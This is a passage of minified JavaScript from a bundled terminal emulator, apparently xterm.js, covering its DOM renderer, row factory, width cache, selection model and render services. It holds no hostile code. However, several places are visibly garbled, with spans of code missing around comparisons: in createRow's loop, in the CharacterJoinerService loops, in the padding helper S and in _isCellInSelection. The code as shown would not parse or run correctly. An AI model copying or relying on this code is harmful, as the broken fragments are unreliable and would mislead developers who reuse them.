P=this._coreBrowserService.dpr;this.dimensions.device.char.width=this._charSizeService.width*P,this.dimensions.device.char.height=Math.ceil(this._charSizeService.height*P),this.dimensions.device.cell.width=this.dimensions.device.char.width+Math.round(this._optionsService.rawOptions.letterSpacing),this.dimensions.device.cell.height=Math.floor(this.dimensions.device.char.height*this._optionsService.rawOptions.lineHeight),this.dimensions.device.char.left=0,this.dimensions.device.char.top=0,this.dimensions.device.canvas.width=this.dimensions.device.cell.width*this._bufferService.cols,this.dimensions.device.canvas.height=this.dimensions.device.cell.height*this._bufferService.rows,this.dimensions.css.canvas.width=Math.round(this.dimensions.device.canvas.width/P),this.dimensions.css.canvas.height=Math.round(this.dimensions.device.canvas.height/P),this.dimensions.css.cell.width=this.dimensions.css.canvas.width/this._bufferService.cols,this.dimensions.css.cell.height=this.dimensions.css.canvas.height/this._bufferService.rows;for(const z of this._rowElements)z.style.width=`${this.dimensions.css.canvas.width}px`,z.style.height=`${this.dimensions.css.cell.height}px`,z.style.lineHeight=`${this.dimensions.css.cell.height}px`,z.style.overflow="hidden";this._dimensionsStyleElement||(this._dimensionsStyleElement=document.createElement("style"),this._screenElement.appendChild(this._dimensionsStyleElement));const L=`${this._terminalSelector} .${S} span { display: inline-block; height: 100%; vertical-align: top;}`;this._dimensionsStyleElement.textContent=L,this._selectionContainer.style.height=this._viewportElement.style.height,this._screenElement.style.width=`${this.dimensions.css.canvas.width}px`,this._screenElement.style.height=`${this.dimensions.css.canvas.height}px`}_injectCss(P){this._themeStyleElement||(this._themeStyleElement=document.createElement("style"),this._screenElement.appendChild(this._themeStyleElement));let L=`${this._terminalSelector} .${S} { color: ${P.foreground.css}; font-family: ${this._optionsService.rawOptions.fontFamily}; font-size: ${this._optionsService.rawOptions.fontSize}px; font-kerning: none; white-space: pre}`;L+=`${this._terminalSelector} .${S} .xterm-dim { color: ${g.color.multiplyOpacity(P.foreground,.5).css};}`,L+=`${this._terminalSelector} span:not(.xterm-bold) { font-weight: ${this._optionsService.rawOptions.fontWeight};}${this._terminalSelector} span.xterm-bold { font-weight: ${this._optionsService.rawOptions.fontWeightBold};}${this._terminalSelector} span.xterm-italic { font-style: italic;}`,L+="@keyframes blink_box_shadow_"+this._terminalClass+" { 50% { border-bottom-style: hidden; }}",L+="@keyframes blink_block_"+this._terminalClass+` { 0% { background-color: ${P.cursor.css}; color: ${P.cursorAccent.css}; } 50% { background-color: inherit; color: ${P.cursor.css}; }}`,L+=`${this._terminalSelector} .${S}.${k} .xterm-cursor.xterm-cursor-blink:not(.xterm-cursor-block) { animation: blink_box_shadow_`+this._terminalClass+` 1s step-end infinite;}${this._terminalSelector} .${S}.${k} .xterm-cursor.xterm-cursor-blink.xterm-cursor-block { animation: blink_block_`+this._terminalClass+` 1s step-end infinite;}${this._terminalSelector} .${S} .xterm-cursor.xterm-cursor-block { background-color: ${P.cursor.css}; color: ${P.cursorAccent.css};}${this._terminalSelector} .${S} .xterm-cursor.xterm-cursor-outline { outline: 1px solid ${P.cursor.css}; outline-offset: -1px;}${this._terminalSelector} .${S} .xterm-cursor.xterm-cursor-bar { box-shadow: ${this._optionsService.rawOptions.cursorWidth}px 0 0 ${P.cursor.css} inset;}${this._terminalSelector} .${S} .xterm-cursor.xterm-cursor-underline { border-bottom: 1px ${P.cursor.css}; border-bottom-style: solid; height: calc(100% - 1px);}`,L+=`${this._terminalSelector} .${A} { position: absolute; top: 0; left: 0; z-index: 1; pointer-events: none;}${this._terminalSelector}.focus .${A} div { position: absolute; background-color: ${P.selectionBackgroundOpaque.css};}${this._terminalSelector} .${A} div { position: absolute; background-color: ${P.selectionInactiveBackgroundOpaque.css};}`;for(const[z,Q]of P.ansi.entries())L+=`${this._terminalSelector} .${C}${z} { color: ${Q.css}; }${this._terminalSelector} .${C}${z}.xterm-dim { color: ${g.color.multiplyOpacity(Q,.5).css}; }${this._terminalSelector} .${T}${z} { background-color: ${Q.css}; }`;L+=`${this._terminalSelector} .${C}${p.INVERTED_DEFAULT_COLOR} { color: ${g.color.opaque(P.background).css}; }${this._terminalSelector} .${C}${p.INVERTED_DEFAULT_COLOR}.xterm-dim { color: ${g.color.multiplyOpacity(g.color.opaque(P.background),.5).css}; }${this._terminalSelector} .${T}${p.INVERTED_DEFAULT_COLOR} { background-color: ${P.foreground.css}; }`,this._themeStyleElement.textContent=L}_setDefaultSpacing(){const P=this.dimensions.css.cell.width-this._widthCache.get("W",!1,!1);this._rowContainer.style.letterSpacing=`${P}px`,this._rowFactory.defaultSpacing=P}handleDevicePixelRatioChange(){this._updateDimensions(),this._widthCache.clear(),this._setDefaultSpacing()}_refreshRowElements(P,L){for(let z=this._rowElements.length;z<=L;z++){const Q=document.createElement("div");this._rowContainer.appendChild(Q),this._rowElements.push(Q)}for(;this._rowElements.length>L;)this._rowContainer.removeChild(this._rowElements.pop())}handleResize(P,L){this._refreshRowElements(P,L),this._updateDimensions()}handleCharSizeChanged(){this._updateDimensions(),this._widthCache.clear(),this._setDefaultSpacing()}handleBlur(){this._rowContainer.classList.remove(k)}handleFocus(){this._rowContainer.classList.add(k),this.renderRows(this._bufferService.buffer.y,this._bufferService.buffer.y)}handleSelectionChanged(P,L,z){if(this._selectionContainer.replaceChildren(),this._rowFactory.handleSelectionChanged(P,L,z),this.renderRows(0,this._bufferService.rows-1),!P||!L)return;const Q=P[1]-this._bufferService.buffer.ydisp,W=L[1]-this._bufferService.buffer.ydisp,V=Math.max(Q,0),N=Math.min(W,this._bufferService.rows-1);if(V>=this._bufferService.rows||N<0)return;const O=document.createDocumentFragment();if(z){const H=P[0]>L[0];O.appendChild(this._createSelectionElement(V,H?L[0]:P[0],H?P[0]:L[0],N-V+1))}else{const H=Q===V?P[0]:0,G=V===W?L[0]:this._bufferService.cols;O.appendChild(this._createSelectionElement(V,H,G));const ee=N-V-1;if(O.appendChild(this._createSelectionElement(V+1,0,this._bufferService.cols,ee)),V!==N){const ie=W===N?L[0]:this._bufferService.cols;O.appendChild(this._createSelectionElement(N,0,ie))}}this._selectionContainer.appendChild(O)}_createSelectionElement(P,L,z,Q=1){const W=document.createElement("div");return W.style.height=Q*this.dimensions.css.cell.height+"px",W.style.top=P*this.dimensions.css.cell.height+"px",W.style.left=L*this.dimensions.css.cell.width+"px",W.style.width=this.dimensions.css.cell.width*(z-L)+"px",W}handleCursorMove(){}_handleOptionsChanged(){this._updateDimensions(),this._injectCss(this._themeService.colors),this._widthCache.setFont(this._optionsService.rawOptions.fontFamily,this._optionsService.rawOptions.fontSize,this._optionsService.rawOptions.fontWeight,this._optionsService.rawOptions.fontWeightBold),this._setDefaultSpacing()}clear(){for(const P of this._rowElements)P.replaceChildren()}renderRows(P,L){const z=this._bufferService.buffer,Q=z.ybase+z.y,W=Math.min(z.x,this._bufferService.cols-1),V=this._optionsService.rawOptions.cursorBlink,N=this._optionsService.rawOptions.cursorStyle,O=this._optionsService.rawOptions.cursorInactiveStyle;for(let H=P;H<=L;H++){const G=H+z.ydisp,ee=this._rowElements[H],ie=z.lines.get(G);if(!ee||!ie)break;ee.replaceChildren(...this._rowFactory.createRow(ie,G,G===Q,N,O,W,V,this.dimensions.css.cell.width,this._widthCache,-1,-1))}}get _terminalSelector(){return`.${w}${this._terminalClass}`}_handleLinkHover(P){this._setCellUnderline(P.x1,P.x2,P.y1,P.y2,P.cols,!0)}_handleLinkLeave(P){this._setCellUnderline(P.x1,P.x2,P.y1,P.y2,P.cols,!1)}_setCellUnderline(P,L,z,Q,W,V){z<0&&(P=0),Q<0&&(L=0);const N=this._bufferService.rows-1;z=Math.max(Math.min(z,N),0),Q=Math.max(Math.min(Q,N),0),W=Math.min(W,this._bufferService.cols);const O=this._bufferService.buffer,H=O.ybase+O.y,G=Math.min(O.x,W-1),ee=this._optionsService.rawOptions.cursorBlink,ie=this._optionsService.rawOptions.cursorStyle,ve=this._optionsService.rawOptions.cursorInactiveStyle;for(let le=z;le<=Q;++le){const oe=le+O.ydisp,I=this._rowElements[le],K=O.lines.get(oe);if(!I||!K)break;I.replaceChildren(...this._rowFactory.createRow(K,oe,oe===H,ie,ve,G,ee,this.dimensions.css.cell.width,this._widthCache,V?le===z?P:0:-1,V?(le===Q?L:W)-1:-1))}}};a.DomRenderer=R=l([u(4,_.IInstantiationService),u(5,v.ICharSizeService),u(6,_.IOptionsService),u(7,_.IBufferService),u(8,v.ICoreBrowserService),u(9,v.IThemeService)],R)},3787:function(o,a,c){var l=this&&this.__decorate||function(C,T,k,A){var M,R=arguments.length,P=R<3?T:A===null?A=Object.getOwnPropertyDescriptor(T,k):A;if(typeof Reflect=="object"&&typeof Reflect.decorate=="function")P=Reflect.decorate(C,T,k,A);else for(var L=C.length-1;L>=0;L--)(M=C[L])&&(P=(R<3?M(P):R>3?M(T,k,P):M(T,k))||P);return R>3&&P&&Object.defineProperty(T,k,P),P},u=this&&this.__param||function(C,T){return function(k,A){T(k,A,C)}};Object.defineProperty(a,"__esModule",{value:!0}),a.DomRendererRowFactory=void 0;const h=c(2223),d=c(643),p=c(511),m=c(2585),v=c(8055),g=c(4725),y=c(4269),b=c(6171),_=c(3734);let w=a.DomRendererRowFactory=class{constructor(C,T,k,A,M,R,P){this._document=C,this._characterJoinerService=T,this._optionsService=k,this._coreBrowserService=A,this._coreService=M,this._decorationService=R,this._themeService=P,this._workCell=new p.CellData,this._columnSelectMode=!1,this.defaultSpacing=0}handleSelectionChanged(C,T,k){this._selectionStart=C,this._selectionEnd=T,this._columnSelectMode=k}createRow(C,T,k,A,M,R,P,L,z,Q,W){const V=[],N=this._characterJoinerService.getJoinedCharacters(T),O=this._themeService.colors;let H,G=C.getNoBgTrimmedLength();k&&G0&&Re===N[0][0]){st=!0;const ut=N.shift();De=new y.JoinedCellData(this._workCell,C.translateToString(!0,ut[0],ut[1]),ut[1]-ut[0]),et=ut[1]-1,rt=De.getWidth()}const xe=this._isCellInSelection(Re,T),se=k&&Re===R,ce=be&&Re>=Q&&Re<=W;let de=!1;this._decorationService.forEachDecorationAtCell(Re,T,void 0,ut=>{de=!0});let we=De.getChars()||d.WHITESPACE_CELL_CHAR;if(we===" "&&(De.isUnderline()||De.isOverline())&&(we=" "),J=rt*L-z.get(we,De.isBold(),De.isItalic()),H){if(ee&&(xe&&X||!xe&&!X&&De.bg===ve)&&(xe&&X&&O.selectionForeground||De.fg===le)&&De.extended.ext===oe&&ce===I&&J===K&&!se&&!st&&!de){ie+=we,ee++;continue}ee&&(H.textContent=ie),H=this._document.createElement("span"),ee=0,ie=""}else H=this._document.createElement("span");if(ve=De.bg,le=De.fg,oe=De.extended.ext,I=ce,K=J,X=xe,st&&R>=Re&&R<=et&&(R=Re),!this._coreService.isCursorHidden&&se){if(he.push("xterm-cursor"),this._coreBrowserService.isFocused)P&&he.push("xterm-cursor-blink"),he.push(A==="bar"?"xterm-cursor-bar":A==="underline"?"xterm-cursor-underline":"xterm-cursor-block");else if(M)switch(M){case"outline":he.push("xterm-cursor-outline");break;case"block":he.push("xterm-cursor-block");break;case"bar":he.push("xterm-cursor-bar");break;case"underline":he.push("xterm-cursor-underline")}}if(De.isBold()&&he.push("xterm-bold"),De.isItalic()&&he.push("xterm-italic"),De.isDim()&&he.push("xterm-dim"),ie=De.isInvisible()?d.WHITESPACE_CELL_CHAR:De.getChars()||d.WHITESPACE_CELL_CHAR,De.isUnderline()&&(he.push(`xterm-underline-${De.extended.underlineStyle}`),ie===" "&&(ie=" "),!De.isUnderlineColorDefault()))if(De.isUnderlineColorRGB())H.style.textDecorationColor=`rgb(${_.AttributeData.toColorRGB(De.getUnderlineColor()).join(",")})`;else{let ut=De.getUnderlineColor();this._optionsService.rawOptions.drawBoldTextInBrightColors&&De.isBold()&&ut<8&&(ut+=8),H.style.textDecorationColor=O.ansi[ut].css}De.isOverline()&&(he.push("xterm-overline"),ie===" "&&(ie=" ")),De.isStrikethrough()&&he.push("xterm-strikethrough"),ce&&(H.style.textDecoration="underline");let Le=De.getFgColor(),He=De.getFgColorMode(),yt=De.getBgColor(),At=De.getBgColorMode();const Nt=!!De.isInverse();if(Nt){const ut=Le;Le=yt,yt=ut;const Hs=He;He=At,At=Hs}let It,Jt,$t,As=!1;switch(this._decorationService.forEachDecorationAtCell(Re,T,void 0,ut=>{ut.options.layer!=="top"&&As||(ut.backgroundColorRGB&&(At=50331648,yt=ut.backgroundColorRGB.rgba>>8&16777215,It=ut.backgroundColorRGB),ut.foregroundColorRGB&&(He=50331648,Le=ut.foregroundColorRGB.rgba>>8&16777215,Jt=ut.foregroundColorRGB),As=ut.options.layer==="top")}),!As&&xe&&(It=this._coreBrowserService.isFocused?O.selectionBackgroundOpaque:O.selectionInactiveBackgroundOpaque,yt=It.rgba>>8&16777215,At=50331648,As=!0,O.selectionForeground&&(He=50331648,Le=O.selectionForeground.rgba>>8&16777215,Jt=O.selectionForeground)),As&&he.push("xterm-decoration-top"),At){case 16777216:case 33554432:$t=O.ansi[yt],he.push(`xterm-bg-${yt}`);break;case 50331648:$t=v.rgba.toColor(yt>>16,yt>>8&255,255&yt),this._addStyle(H,`background-color:#${S((yt>>>0).toString(16),"0",6)}`);break;default:Nt?($t=O.foreground,he.push(`xterm-bg-${h.INVERTED_DEFAULT_COLOR}`)):$t=O.background}switch(It||De.isDim()&&(It=v.color.multiplyOpacity($t,.5)),He){case 16777216:case 33554432:De.isBold()&&Le<8&&this._optionsService.rawOptions.drawBoldTextInBrightColors&&(Le+=8),this._applyMinimumContrast(H,$t,O.ansi[Le],De,It,void 0)||he.push(`xterm-fg-${Le}`);break;case 50331648:const ut=v.rgba.toColor(Le>>16&255,Le>>8&255,255&Le);this._applyMinimumContrast(H,$t,ut,De,It,Jt)||this._addStyle(H,`color:#${S(Le.toString(16),"0",6)}`);break;default:this._applyMinimumContrast(H,$t,O.foreground,De,It,void 0)||Nt&&he.push(`xterm-fg-${h.INVERTED_DEFAULT_COLOR}`)}he.length&&(H.className=he.join(" "),he.length=0),se||st||de?H.textContent=ie:ee++,J!==this.defaultSpacing&&(H.style.letterSpacing=`${J}px`),V.push(H),Re=et}return H&&ee&&(H.textContent=ie),V}_applyMinimumContrast(C,T,k,A,M,R){if(this._optionsService.rawOptions.minimumContrastRatio===1||(0,b.excludeFromContrastRatioDemands)(A.getCode()))return!1;const P=this._getContrastCache(A);let L;if(M||R||(L=P.getColor(T.rgba,k.rgba)),L===void 0){const z=this._optionsService.rawOptions.minimumContrastRatio/(A.isDim()?2:1);L=v.color.ensureContrastRatio(M||T,R||k,z),P.setColor((M||T).rgba,(R||k).rgba,L??null)}return!!L&&(this._addStyle(C,`color:${L.css}`),!0)}_getContrastCache(C){return C.isDim()?this._themeService.colors.halfContrastCache:this._themeService.colors.contrastCache}_addStyle(C,T){C.setAttribute("style",`${C.getAttribute("style")||""}${T};`)}_isCellInSelection(C,T){const k=this._selectionStart,A=this._selectionEnd;return!(!k||!A)&&(this._columnSelectMode?k[0]<=A[0]?C>=k[0]&&T>=k[1]&&C=k[1]&&C>=A[0]&&T<=A[1]:T>k[1]&&T=k[0]&&C=k[0])}};function S(C,T,k){for(;C.length{Object.defineProperty(a,"__esModule",{value:!0}),a.WidthCache=void 0,a.WidthCache=class{constructor(c){this._flat=new Float32Array(256),this._font="",this._fontSize=0,this._weight="normal",this._weightBold="bold",this._measureElements=[],this._container=c.createElement("div"),this._container.style.position="absolute",this._container.style.top="-50000px",this._container.style.width="50000px",this._container.style.whiteSpace="pre",this._container.style.fontKerning="none";const l=c.createElement("span"),u=c.createElement("span");u.style.fontWeight="bold";const h=c.createElement("span");h.style.fontStyle="italic";const d=c.createElement("span");d.style.fontWeight="bold",d.style.fontStyle="italic",this._measureElements=[l,u,h,d],this._container.appendChild(l),this._container.appendChild(u),this._container.appendChild(h),this._container.appendChild(d),c.body.appendChild(this._container),this.clear()}dispose(){this._container.remove(),this._measureElements.length=0,this._holey=void 0}clear(){this._flat.fill(-9999),this._holey=new Map}setFont(c,l,u,h){c===this._font&&l===this._fontSize&&u===this._weight&&h===this._weightBold||(this._font=c,this._fontSize=l,this._weight=u,this._weightBold=h,this._container.style.fontFamily=this._font,this._container.style.fontSize=`${this._fontSize}px`,this._measureElements[0].style.fontWeight=`${u}`,this._measureElements[1].style.fontWeight=`${h}`,this._measureElements[2].style.fontWeight=`${u}`,this._measureElements[3].style.fontWeight=`${h}`,this.clear())}get(c,l,u){let h=0;if(!l&&!u&&c.length===1&&(h=c.charCodeAt(0))<256)return this._flat[h]!==-9999?this._flat[h]:this._flat[h]=this._measure(c,0);let d=c;l&&(d+="B"),u&&(d+="I");let p=this._holey.get(d);if(p===void 0){let m=0;l&&(m|=1),u&&(m|=2),p=this._measure(c,m),this._holey.set(d,p)}return p}_measure(c,l){const u=this._measureElements[l];return u.textContent=c.repeat(32),u.offsetWidth/32}}},2223:(o,a,c)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.TEXT_BASELINE=a.DIM_OPACITY=a.INVERTED_DEFAULT_COLOR=void 0;const l=c(6114);a.INVERTED_DEFAULT_COLOR=257,a.DIM_OPACITY=.5,a.TEXT_BASELINE=l.isFirefox||l.isLegacyEdge?"bottom":"ideographic"},6171:(o,a)=>{function c(l){return 57508<=l&&l<=57558}Object.defineProperty(a,"__esModule",{value:!0}),a.createRenderDimensions=a.excludeFromContrastRatioDemands=a.isRestrictedPowerlineGlyph=a.isPowerlineGlyph=a.throwIfFalsy=void 0,a.throwIfFalsy=function(l){if(!l)throw new Error("value must not be falsy");return l},a.isPowerlineGlyph=c,a.isRestrictedPowerlineGlyph=function(l){return 57520<=l&&l<=57527},a.excludeFromContrastRatioDemands=function(l){return c(l)||function(u){return 9472<=u&&u<=9631}(l)},a.createRenderDimensions=function(){return{css:{canvas:{width:0,height:0},cell:{width:0,height:0}},device:{canvas:{width:0,height:0},cell:{width:0,height:0},char:{width:0,height:0,left:0,top:0}}}}},456:(o,a)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.SelectionModel=void 0,a.SelectionModel=class{constructor(c){this._bufferService=c,this.isSelectAllActive=!1,this.selectionStartLength=0}clearSelection(){this.selectionStart=void 0,this.selectionEnd=void 0,this.isSelectAllActive=!1,this.selectionStartLength=0}get finalSelectionStart(){return this.isSelectAllActive?[0,0]:this.selectionEnd&&this.selectionStart&&this.areSelectionValuesReversed()?this.selectionEnd:this.selectionStart}get finalSelectionEnd(){if(this.isSelectAllActive)return[this._bufferService.cols,this._bufferService.buffer.ybase+this._bufferService.rows-1];if(this.selectionStart){if(!this.selectionEnd||this.areSelectionValuesReversed()){const c=this.selectionStart[0]+this.selectionStartLength;return c>this._bufferService.cols?c%this._bufferService.cols==0?[this._bufferService.cols,this.selectionStart[1]+Math.floor(c/this._bufferService.cols)-1]:[c%this._bufferService.cols,this.selectionStart[1]+Math.floor(c/this._bufferService.cols)]:[c,this.selectionStart[1]]}if(this.selectionStartLength&&this.selectionEnd[1]===this.selectionStart[1]){const c=this.selectionStart[0]+this.selectionStartLength;return c>this._bufferService.cols?[c%this._bufferService.cols,this.selectionStart[1]+Math.floor(c/this._bufferService.cols)]:[Math.max(c,this.selectionEnd[0]),this.selectionEnd[1]]}return this.selectionEnd}}areSelectionValuesReversed(){const c=this.selectionStart,l=this.selectionEnd;return!(!c||!l)&&(c[1]>l[1]||c[1]===l[1]&&c[0]>l[0])}handleTrim(c){return this.selectionStart&&(this.selectionStart[1]-=c),this.selectionEnd&&(this.selectionEnd[1]-=c),this.selectionEnd&&this.selectionEnd[1]<0?(this.clearSelection(),!0):(this.selectionStart&&this.selectionStart[1]<0&&(this.selectionStart[1]=0),!1)}}},428:function(o,a,c){var l=this&&this.__decorate||function(g,y,b,_){var w,S=arguments.length,C=S<3?y:_===null?_=Object.getOwnPropertyDescriptor(y,b):_;if(typeof Reflect=="object"&&typeof Reflect.decorate=="function")C=Reflect.decorate(g,y,b,_);else for(var T=g.length-1;T>=0;T--)(w=g[T])&&(C=(S<3?w(C):S>3?w(y,b,C):w(y,b))||C);return S>3&&C&&Object.defineProperty(y,b,C),C},u=this&&this.__param||function(g,y){return function(b,_){y(b,_,g)}};Object.defineProperty(a,"__esModule",{value:!0}),a.CharSizeService=void 0;const h=c(2585),d=c(8460),p=c(844);let m=a.CharSizeService=class extends p.Disposable{get hasValidSize(){return this.width>0&&this.height>0}constructor(g,y,b){super(),this._optionsService=b,this.width=0,this.height=0,this._onCharSizeChange=this.register(new d.EventEmitter),this.onCharSizeChange=this._onCharSizeChange.event,this._measureStrategy=new v(g,y,this._optionsService),this.register(this._optionsService.onMultipleOptionChange(["fontFamily","fontSize"],()=>this.measure()))}measure(){const g=this._measureStrategy.measure();g.width===this.width&&g.height===this.height||(this.width=g.width,this.height=g.height,this._onCharSizeChange.fire())}};a.CharSizeService=m=l([u(2,h.IOptionsService)],m);class v{constructor(y,b,_){this._document=y,this._parentElement=b,this._optionsService=_,this._result={width:0,height:0},this._measureElement=this._document.createElement("span"),this._measureElement.classList.add("xterm-char-measure-element"),this._measureElement.textContent="W".repeat(32),this._measureElement.setAttribute("aria-hidden","true"),this._measureElement.style.whiteSpace="pre",this._measureElement.style.fontKerning="none",this._parentElement.appendChild(this._measureElement)}measure(){this._measureElement.style.fontFamily=this._optionsService.rawOptions.fontFamily,this._measureElement.style.fontSize=`${this._optionsService.rawOptions.fontSize}px`;const y={height:Number(this._measureElement.offsetHeight),width:Number(this._measureElement.offsetWidth)};return y.width!==0&&y.height!==0&&(this._result.width=y.width/32,this._result.height=Math.ceil(y.height)),this._result}}},4269:function(o,a,c){var l=this&&this.__decorate||function(y,b,_,w){var S,C=arguments.length,T=C<3?b:w===null?w=Object.getOwnPropertyDescriptor(b,_):w;if(typeof Reflect=="object"&&typeof Reflect.decorate=="function")T=Reflect.decorate(y,b,_,w);else for(var k=y.length-1;k>=0;k--)(S=y[k])&&(T=(C<3?S(T):C>3?S(b,_,T):S(b,_))||T);return C>3&&T&&Object.defineProperty(b,_,T),T},u=this&&this.__param||function(y,b){return function(_,w){b(_,w,y)}};Object.defineProperty(a,"__esModule",{value:!0}),a.CharacterJoinerService=a.JoinedCellData=void 0;const h=c(3734),d=c(643),p=c(511),m=c(2585);class v extends h.AttributeData{constructor(b,_,w){super(),this.content=0,this.combinedData="",this.fg=b.fg,this.bg=b.bg,this.combinedData=_,this._width=w}isCombined(){return 2097152}getWidth(){return this._width}getChars(){return this.combinedData}getCode(){return 2097151}setFromCharData(b){throw new Error("not implemented")}getAsCharData(){return[this.fg,this.getChars(),this.getWidth(),this.getCode()]}}a.JoinedCellData=v;let g=a.CharacterJoinerService=class tL{constructor(b){this._bufferService=b,this._characterJoiners=[],this._nextCharacterJoinerId=0,this._workCell=new p.CellData}register(b){const _={id:this._nextCharacterJoinerId++,handler:b};return this._characterJoiners.push(_),_.id}deregister(b){for(let _=0;_1){const P=this._getJoinedRanges(S,k,T,_,C);for(let L=0;L1){const R=this._getJoinedRanges(S,k,T,_,C);for(let P=0;P{Object.defineProperty(a,"__esModule",{value:!0}),a.CoreBrowserService=void 0,a.CoreBrowserService=class{constructor(c,l){this._textarea=c,this.window=l,this._isFocused=!1,this._cachedIsFocused=void 0,this._textarea.addEventListener("focus",()=>this._isFocused=!0),this._textarea.addEventListener("blur",()=>this._isFocused=!1)}get dpr(){return this.window.devicePixelRatio}get isFocused(){return this._cachedIsFocused===void 0&&(this._cachedIsFocused=this._isFocused&&this._textarea.ownerDocument.hasFocus(),queueMicrotask(()=>this._cachedIsFocused=void 0)),this._cachedIsFocused}}},8934:function(o,a,c){var l=this&&this.__decorate||function(m,v,g,y){var b,_=arguments.length,w=_<3?v:y===null?y=Object.getOwnPropertyDescriptor(v,g):y;if(typeof Reflect=="object"&&typeof Reflect.decorate=="function")w=Reflect.decorate(m,v,g,y);else for(var S=m.length-1;S>=0;S--)(b=m[S])&&(w=(_<3?b(w):_>3?b(v,g,w):b(v,g))||w);return _>3&&w&&Object.defineProperty(v,g,w),w},u=this&&this.__param||function(m,v){return function(g,y){v(g,y,m)}};Object.defineProperty(a,"__esModule",{value:!0}),a.MouseService=void 0;const h=c(4725),d=c(9806);let p=a.MouseService=class{constructor(m,v){this._renderService=m,this._charSizeService=v}getCoords(m,v,g,y,b){return(0,d.getCoords)(window,m,v,g,y,this._charSizeService.hasValidSize,this._renderService.dimensions.css.cell.width,this._renderService.dimensions.css.cell.height,b)}getMouseReportCoords(m,v){const g=(0,d.getCoordsRelativeToElement)(window,m,v);if(this._charSizeService.hasValidSize)return g[0]=Math.min(Math.max(g[0],0),this._renderService.dimensions.css.canvas.width-1),g[1]=Math.min(Math.max(g[1],0),this._renderService.dimensions.css.canvas.height-1),{col:Math.floor(g[0]/this._renderService.dimensions.css.cell.width),row:Math.floor(g[1]/this._renderService.dimensions.css.cell.height),x:Math.floor(g[0]),y:Math.floor(g[1])}}};a.MouseService=p=l([u(0,h.IRenderService),u(1,h.ICharSizeService)],p)},3230:function(o,a,c){var l=this&&this.__decorate||function(w,S,C,T){var k,A=arguments.length,M=A<3?S:T===null?T=Object.getOwnPropertyDescriptor(S,C):T;if(typeof Reflect=="object"&&typeof Reflect.decorate=="function")M=Reflect.decorate(w,S,C,T);else for(var R=w.length-1;R>=0;R--)(k=w[R])&&(M=(A<3?k(M):A>3?k(S,C,M):k(S,C))||M);return A>3&&M&&Object.defineProperty(S,C,M),M},u=this&&this.__param||function(w,S){return function(C,T){S(C,T,w)}};Object.defineProperty(a,"__esModule",{value:!0}),a.RenderService=void 0;const h=c(3656),d=c(6193),p=c(5596),m=c(4725),v=c(8460),g=c(844),y=c(7226),b=c(2585);let _=a.RenderService=class extends g.Disposable{get dimensions(){return this._renderer.value.dimensions}constructor(w,S,C,T,k,A,M,R){if(super(),this._rowCount=w,this._charSizeService=T,this._renderer=this.register(new g.MutableDisposable),this._pausedResizeTask=new y.DebouncedIdleTask,this._isPaused=!1,this._needsFullRefresh=!1,this._isNextRenderRedrawOnly=!0,this._needsSelectionRefresh=!1,this._canvasWidth=0,this._canvasHeight=0,this._selectionState={start:void 0,end:void 0,columnSelectMode:!1},this._onDimensionsChange=this.register(new v.EventEmitter),this.onDimensionsChange=this._onDimensionsChange.event,this._onRenderedViewportChange=this.register(new v.EventEmitter),this.onRenderedViewportChange=this._onRenderedViewportChange.event,this._onRender=this.register(new v.EventEmitter),this.onRender=this._onRender.event,this._onRefreshRequest=this.register(new v.EventEmitter),this.onRefreshRequest=this._onRefreshRequest.event,this._renderDebouncer=new d.RenderDebouncer(M.window,(P,L)=>this._renderRows(P,L)),this.register(this._renderDebouncer),this._screenDprMonitor=new p.ScreenDprMonitor(M.window),this._screenDprMonitor.setListener(()=>this.handleDevicePixelRatioChange()),this.register(this._screenDprMonitor),this.register(A.onResize(()=>this._fullRefresh())),this.register(A.buffers.onBufferActivate(()=>{var P;return(P=this._renderer.value)===null||P===void 0?void 0:P.clear()})),this.register(C.onOptionChange(()=>this._handleOptionsChanged())),this.register(this._charSizeService.onCharSizeChange(()=>this.handleCharSizeChanged())),this.register(k.onDecorationRegistered(()=>this._fullRefresh())),this.register(k.onDecorationRemoved(()=>this._fullRefresh())),this.register(C.onMultipleOptionChange(["customGlyphs","drawBoldTextInBrightColors","letterSpacing","lineHeight","fontFamily","fontSize","fontWeight","fontWeightBold","minimumContrastRatio"],()=>{this.clear(),this.handleResize(A.cols,A.rows),this._fullRefresh()})),this.register(C.onMultipleOptionChange(["cursorBlink","cursorStyle"],()=>this.refreshRows(A.buffer.y,A.buffer.y,!0))),this.register((0,h.addDisposableDomListener)(M.window,"resize",()=>this.handleDevicePixelRatioChange())),this.register(R.onChangeColors(()=>this._fullRefresh())),"IntersectionObserver"in M.window){const P=new M.window.IntersectionObserver(L=>this._handleIntersectionChange(L[L.length-1]),{threshold:0});P.observe(S),this.register({dispose:()=>P.disconnect()})}}_handleIntersectionChange(w){this._isPaused=w.isIntersecting===void 0?w.intersectionRatio===0:!w.isIntersecting,this._isPaused||this._charSizeService.hasValidSize||this._charSizeService.measure(),!this._isPaused&&this._needsFullRefresh&&(this._pausedResizeTask.flush(),this.refreshRows(0,this._rowCount-1),this._needsFullRefresh=!1)}refreshRows(w,S,C=!1){this._isPaused?this._needsFullRefresh=!0:(C||(this._isNextRenderRedrawOnly=!1),this._renderDebouncer.refresh(w,S,this._rowCount))}_renderRows(w,S){this._renderer.value&&(w=Math.min(w,this._rowCount-1),S=Math.min(S,this._rowCount-1),this._renderer.value.renderRows(w,S),this._needsSelectionRefresh&&(this._renderer.value.handleSelectionChanged(this._selectionState.start,this._selectionState.end,this._selectionState.columnSelectMode),this._needsSelectionRefresh=!1),this._isNextRenderRedrawOnly||this._onRenderedViewportChange.fire({start:w,end:S}),this._onRender.fire({start:w,end:S}),this._isNextRenderRedrawOnly=!0)}resize(w,S){this._rowCount=S,this._fireOnCanvasResize()}_handleOptionsChanged(){this._renderer.value&&(this.refreshRows(0,this._rowCount-1),this._fireOnCanvasResize())}_fireOnCanvasResize(){this._renderer.value&&(this._renderer.value.dimensions.css.canvas.width===this._canvasWidth&&this._renderer.value.dimensions.css.canvas.height===this._canvasHeight||this._onDimensionsChange.fire(this._renderer.value.dimensions))}hasRenderer(){return!!this._renderer.value}setRenderer(w){this._renderer.value=w,this._renderer.value.onRequestRedraw(S=>this.refreshRows(S.start,S.end,!0)),this._needsSelectionRefresh=!0,this._fullRefresh()}addRefreshCallback(w){return this._renderDebouncer.addRefreshCallback(w)}_fullRefresh(){this._isPaused?this._needsFullRefresh=!0:this.refreshRows(0,this._rowCount-1)}clearTextureAtlas(){var w,S;this._renderer.value&&((S=(w=this._renderer.value).clearTextureAtlas)===null||S===void 